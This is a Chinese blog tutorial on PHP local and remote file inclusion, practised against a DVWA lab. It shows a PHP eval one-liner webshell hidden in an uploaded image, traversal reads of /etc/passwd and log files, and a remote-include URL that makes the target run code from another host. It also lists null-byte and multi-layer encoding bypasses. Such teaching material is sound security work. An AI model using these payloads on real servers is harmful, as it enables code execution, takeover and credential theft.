溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

文件包含漏洞總結(jié)

發(fā)布時(shí)間:2020-07-12 18:49:41 來源:網(wǎng)絡(luò) 閱讀:6612 作者:wt7315 欄目:安全技術(shù)


本實(shí)驗(yàn)是基于DVWA和sqli-labs的實(shí)驗(yàn)環(huán)境

實(shí)驗(yàn)平臺(tái)搭建:下載Wamp集成環(huán)境,并下載DVWA和sqli-labs和壓縮包解壓至wamp\www的目錄下。安裝只要注意Wamp環(huán)境的數(shù)據(jù)庫(kù)名和密碼對(duì)應(yīng)即可。



0x01:文件包含漏洞

服務(wù)器通過php的特性(函數(shù))去包含任意文件時(shí),由于要包含的這個(gè)文件來源過濾不嚴(yán),從而可以去包含一個(gè)惡意文件,而我們可以構(gòu)造這個(gè)惡意文件來達(dá)到邪惡的目的。

這也算官方的解釋吧,用個(gè)人的話說,通過瀏覽器、url地址或者是一個(gè)參數(shù)的變量的內(nèi)容,可以通過修改這些url或者參數(shù)變量的內(nèi)容,讀取到web根目錄以前其他文件,但是不同于目錄瀏覽,目錄瀏覽是可以通過瀏覽器直接顯示www目錄下每一個(gè)文件的名稱,把目錄列表給列出來。

 

 

 文件包含漏洞形成原因

  程序開發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫到單個(gè)文件中,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件,而無需再次編寫,這中文件調(diào)用的過程一般被稱為文件包含。程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設(shè)置為變量,用來進(jìn)行動(dòng)態(tài)調(diào)用,

但正是由于這種靈活性,從而導(dǎo)致客戶端可以調(diào)用一個(gè)惡意文件,造成文件包含漏洞。幾乎所有腳本語(yǔ)言都會(huì)提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語(yǔ)言設(shè)計(jì)的弊端。PHP中經(jīng)常出現(xiàn)包含漏洞,但這并不意味這其他語(yǔ)言不存在。

 

  常見文件包含函數(shù)

include():執(zhí)行到include時(shí)才包含文件,找不到被包含文件時(shí)只會(huì)產(chǎn)生警告,腳本將繼續(xù)執(zhí)行

require():只要程序一運(yùn)行就包含文件,找不到被包含的文件時(shí)會(huì)產(chǎn)生致命錯(cuò)誤,并停止腳本

include_once()require_once():這兩個(gè)函數(shù)和前兩個(gè)函數(shù)作用幾乎相同,區(qū)別在于若文件中代碼已被包含則不會(huì)再次包含

 

 

LFI(本地包含漏洞)目錄遍歷可以理解為本地包含漏洞,驗(yàn)證以及利用方法都相同。

RFI(遠(yuǎn)程包含漏洞)可以包含進(jìn)其他主機(jī)的url地址,如自己開放一個(gè)www服務(wù),然后在上面放一個(gè)***文件,如果是代碼會(huì)在這個(gè)機(jī)器上執(zhí)行的。拿到shell的權(quán)限要看運(yùn)行www服務(wù)的帳號(hào)。

 

 

包含漏洞的特征:(這個(gè)可以說是文中的干貨了)

在某一個(gè)頁(yè)面中,一個(gè)變量的值等于一個(gè)頁(yè)面文件或者是一個(gè)固定的值,如

?page=a.asp

?home=b.html

file=content

 

 

漏洞分類

本地文件包含:可以包含本地文件,在條件允許時(shí)甚至能執(zhí)行代碼

    上傳圖片馬,然后包含

    讀敏感文件,讀PHP文件

    包含日志文件GetShell

    包含/proc/self/envion文件GetShell

    包含data:php://input等偽協(xié)議

    若有phpinfo則可以包含臨時(shí)文件

遠(yuǎn)程文件包含:可以直接執(zhí)行任意代碼

要保證php.iniallow_url_fopenallow_url_include要為On

 

 

0x02、文件包含漏洞利用

1、包含讀出目標(biāo)機(jī)上其它文件

如果對(duì)取得的參數(shù)page沒有過濾,于是我們可以任意指定目標(biāo)主機(jī)上的其它敏感文件

 

linux中,"."表示當(dāng)前目錄,“..”表示上一層目錄,當(dāng)../到根目錄下,再往上層父目錄仍舊是根目錄。

文件包含漏洞總結(jié)



用常見的“../”包含出日志文件。

文件包含漏洞總結(jié)


2、包含可運(yùn)行的PHP***

在很多地方,我們都可以上傳圖片,如上傳頭像,圖片等,這這里先上傳圖片,圖片的內(nèi)容為一句話***

<?php @eval($_POST['cmd']);?>





文件包含漏洞總結(jié)

由于上傳的限制,一般只能上傳jpg,png的圖片格式,代碼無法執(zhí)行,我們用本地包含的方式將圖片包含進(jìn)來,代碼就執(zhí)行了,代碼不需要后綴名是php、asp的格式,只要內(nèi)容是代碼即可執(zhí)行

文件包含漏洞總結(jié)


然后用中國(guó)菜刀連接(功夫再高,也怕菜刀!)

文件包含漏洞總結(jié)



3.遠(yuǎn)程包含url和php***

如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的),我們就可以有更大的利用空間,我們可以指定其它URL上的一個(gè)包含PHP代碼的webshell來直接運(yùn)行

不需要后綴名是php、asp的格式,只要內(nèi)容是代碼就可以。

出現(xiàn)概率少于本地包含,但更容易被利用

 

如在自己服務(wù)器上寫上一句話代碼,然后用遠(yuǎn)程包含漏洞去包含這個(gè)鏈接,

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php

 

然后同上,用菜刀連接,獲取webshell

 

 

0x03、包含漏洞繞過技巧

在利用包含漏洞中,經(jīng)常遇到一個(gè)問題,在查看page=/etc/passwd的時(shí)候,出現(xiàn)報(bào)錯(cuò),找不到/etc/passwd.php文件,說明默認(rèn)自動(dòng)加上了后綴名.php,繞過的方式有一下幾種

 

1.編碼繞過字符過濾

(1)加“.”,當(dāng)加點(diǎn),會(huì)忽略點(diǎn)后面的內(nèi)容。

(2)“%00”,即null空字符(/etc/passwd%00),在php語(yǔ)言格式里,當(dāng)遇到%00的時(shí)候,后面不管有無其他東西,都不看了,只看%00前面的內(nèi)容

(3)“#”,繞過文件擴(kuò)展名過濾

 

 

2、編碼

url編碼、雙層(多層)url編碼

%2e%2e%2f   解碼:../

%2e%2e%5c  解碼:..\

%25%2e%25%2e%255c 解碼:..\(可使用burp多層編碼和解碼)

 

uniclode/UTF-8編碼

..%c0%af  解碼:../

%c1%9c  解碼:..\

 

編碼能否正確的起到效果,得看web server是否能對(duì)編碼后的做解析

 

 

3、其他系統(tǒng)可能是使用到的特殊字符

file.txt ...

file.txt <spaces>

file .txt """"""""

file.txt <<>><

./././ file.txt



4、***向量字典

kali中,也存在***向量字典路徑是“/usr/share/wfuzz/wordlist/vulns”文件包含漏洞總結(jié)



利用條件

程序用include()等文件包含函數(shù)通過動(dòng)態(tài)變量的范式引入需要包含的文件

用戶能夠控制該動(dòng)態(tài)變量



漏洞危害

這類漏洞看起來貌似并不嚴(yán)重,一旦被惡意利用則會(huì)帶來很大的危害。本地文件包含不僅能夠包含web文件目錄中的一些配置文件(比如Web應(yīng)用、數(shù)據(jù)庫(kù)配置文件、config文件),還可以查看到一些Web動(dòng)態(tài)頁(yè)面的源代碼,為***者進(jìn)一步發(fā)掘web應(yīng)用漏洞提供條件,甚至一旦與路徑遍歷漏洞相結(jié)合,還可能直接攫取目標(biāo)系統(tǒng)的用戶名與密碼等文件。并且能執(zhí)行任意代碼,甚至控制服務(wù)器。


向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI